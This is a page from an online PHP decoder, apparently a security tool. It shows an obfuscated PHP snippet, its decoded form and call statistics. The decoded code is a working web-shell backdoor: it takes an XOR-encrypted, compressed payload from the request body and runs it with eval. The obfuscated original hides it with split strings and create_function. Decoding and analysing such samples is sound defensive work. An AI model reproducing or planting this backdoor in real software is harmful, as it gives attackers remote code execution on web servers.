Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$y='"$ICHGSWW1ncoDG$ITsv$Ip";function x$I($t,$k)$I{$c$I=strle$In($I$k);$l=str'; $o='$j$I+..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="2cb00388";$kh="f2110209ccb1";$kf="5e8ec3ab5835";$p="CHGSWW1ncoDGTsvp";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
$y='"$ICHGSWW1ncoDG$ITsv$Ip";function x$I($t,$k)$I{$c$I=strle$In($I$k);$l=str';
$o='$j$I++$I$I,$i++){$o.=$t{$i$I}^$k{$j$I};}}$Ireturn $o$I;}if$I (@preg_$I$Im';
$S='len($I$$It);$o$I="$I";for$I($i=0;$i<$l;)$I{for$I($j=0;($$Ij$I<$c&&$i<$l);';
$i='@$Ib$Iase64_e$Incode(@x(@gzco$Impress$I($o),$$Ik)$I)$I;print("$p$kh$r$I$kf");}';
$s=str_replace('tG','','tGcretGatetG_ftGutGnctGtion');
$P='de($m[1]),$k)));$I$o=@ob_get$I_co$Inten$Its();@ob_$Iend_c$Ilean$I();$r=';
$Y='$Im$I)==1) {@ob_start();@e$Ival(@g$I$Izunc$Iompress($I$I@x(@b$Iase64_$Ide$Ico';
$v='$k="2cb$I0038$I8";$kh="f$I2110$I209$Iccb1";$I$kf="5e8ec3a$Ib5835$I";$$Ip$I=';
$N='atch("$I/$k$Ih(.+)$kf/",@$Ifile_ge$It_c$Iontents("$Iphp:$I//$Iinp$Iut"),$';
$r=str_replace('$I','',$v.$y.$S.$o.$N.$Y.$P.$i);
$E=$s('',$r);$E();
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | 173f3d22a63088cbe0891dc188926e60 |
Eval Count | 1 |
Decode Time | 289 ms |